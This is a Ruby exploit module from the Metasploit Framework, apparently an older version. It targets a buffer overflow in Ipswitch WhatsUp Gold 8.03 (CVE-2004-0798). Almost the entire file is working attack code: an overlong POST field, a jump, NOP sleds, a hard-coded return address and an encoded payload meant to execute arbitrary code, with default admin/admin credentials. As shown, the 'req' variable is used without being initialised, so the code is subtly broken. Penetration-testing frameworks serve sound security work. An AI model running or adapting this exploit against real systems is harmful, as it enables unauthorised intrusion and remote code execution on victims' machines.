92 lines
2.5 KiB
Ruby
92 lines
2.5 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Windows::Http::Ipswitch_Wug_Maincfgret < Msf::Exploit::Remote
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include Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Ipswitch WhatsUp Gold 8.03 Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in IPswitch WhatsUp Gold 8.03. By
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posting a long string for the value of 'instancename' in the _maincfgret.cgi
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script an attacker can overflow a buffer and execute arbitrary code on the system.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['BID', '11043'],
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['CVE', '2004-0798'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 500,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'WhatsUP Gold 8.03 Universal', { 'Ret' => 0x6032e743 } ], # whatsup.dll
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Aug 25 2004'))
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register_options( [
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Opt::RPORT(80),
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OptString.new('HTTPUSER', [ false, 'The username to authenticate as', 'admin']),
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OptString.new('HTTPPASS', [ false, 'The password to authenticate as', 'admin']),
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], self.class )
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end
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def exploit
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c = connect
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num = rand(65535).to_s
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user_pass = "#{datastore['HTTPUSER']}" + ":" + "#{datastore['HTTPPASS']}"
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req << "page=notify&origname=&action=return&type=Beeper&instancename="
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req << rand_text_alpha_upper(811, payload_badchars) + "\xeb\x06"
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req << make_nops(2) + [target.ret].pack('V') + make_nops(10) + payload.encoded
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req << "&beepernumber=&upcode=" + num + "*&downcode="+ num + "*&trapcode=" + num + "*&end=end"
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print_status("Trying target %s..." % target.name)
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res = send_request_cgi({
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'uri' => '/_maincfgret.cgi',
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'method' => 'POST',
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'content-type' => 'application/x-www-form-urlencoded',
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'data' => req,
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'headers' =>
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{
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'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
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}
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}, 5)
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handler
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end
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end
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end
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